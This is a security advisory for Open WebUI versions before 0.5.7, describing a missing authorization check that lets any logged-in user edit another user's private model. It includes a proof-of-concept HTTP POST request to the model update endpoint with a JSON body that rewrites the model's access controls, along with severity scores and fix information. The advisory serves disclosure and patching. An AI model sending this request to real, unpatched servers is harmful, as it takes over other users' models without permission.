Open WebUI missing authorization check at the model update function - models from other users can be updated
Summary
A user can modify another user's model even if its visibility is set to Private.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC
The user Victim created a private model with the visibility set to private:
The user Attacker can edit this model using the following POST request:
POST /api/v1/models/model/update?id=aaabraaa HTTP/2
Host: domain.local
//Some headers removed
Te: trailers
{"id":"aaabraaa","base_model_id":"gpt-4o-POC","name":"testmodel","meta":{"profile_image_url":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestion_prompts":null,"tags":[],"toolIds":["test"]},"params":{},"user_id":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","access_control":{"read":{"group_ids":[],"user_ids":[]},"write":{"group_ids":[],"user_ids":[]}},"is_active":true,"updated_at":1737314575,"created_at":1737121281}Request / Response
Impact
A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | open-webui | < 0.5.7 | 0.5.7 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N- Weakness (CWE)
CWE-285- Platform
- Python (PyPI)
- Package
open-webui- Disclosed
- 14.05.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2727 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-gm54-m39w-grjp - CC BY 4.0
Vulnerability history: open-webui
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 161
- First → latest
- 08.2024 09.2026
- Without a fix
- 11
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 77
- Medium 75
- Low 8
Disclosures per year
- 2024: 3
- 2025: 21
- 2026: 137
-
Open WebUI missing authorization check at the model update function - models from other users can be updated this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.